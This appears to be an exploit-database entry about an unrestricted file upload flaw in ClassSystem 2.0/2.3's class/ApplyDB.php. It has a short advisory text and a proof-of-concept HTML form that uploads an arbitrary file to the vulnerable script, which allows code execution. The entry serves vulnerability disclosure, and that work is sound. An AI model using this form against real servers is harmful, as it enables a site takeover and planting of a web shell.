ClassSystem 2.0/2.3 - class/ApplyDB.php Unrestricted File Upload Arbitrary Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ClassSystem 2.0/2.3 Unrestricted File Upload Arbitrary Code Executio


                                                source: http://www.securityfocus.com/bid/29372/info
   
ClassSystem is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. These issues include multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability.
   
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
ClassSystem 2 and 2.3 are affected; other versions may also be vulnerable. 

&#60;form enctype=&#34;multipart/form-data&#34; action=&#34;http://www.example.com/class/ApplyDB.php&#34; method=&#34;post&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;teacher_account&#34; value=&#34;blah1&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;teacher_password&#34; value=&#34;blah1&#34;&#62;
 &#60;input type=&#34;file&#34; name=&#34;uploadfile&#34; size=&#34;40&#34;&#62;&#60;br&#62;
 &#60;input type=&#34;submit&#34; value=&#34;send&#34;&#62;
&#60;/form&#62;

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7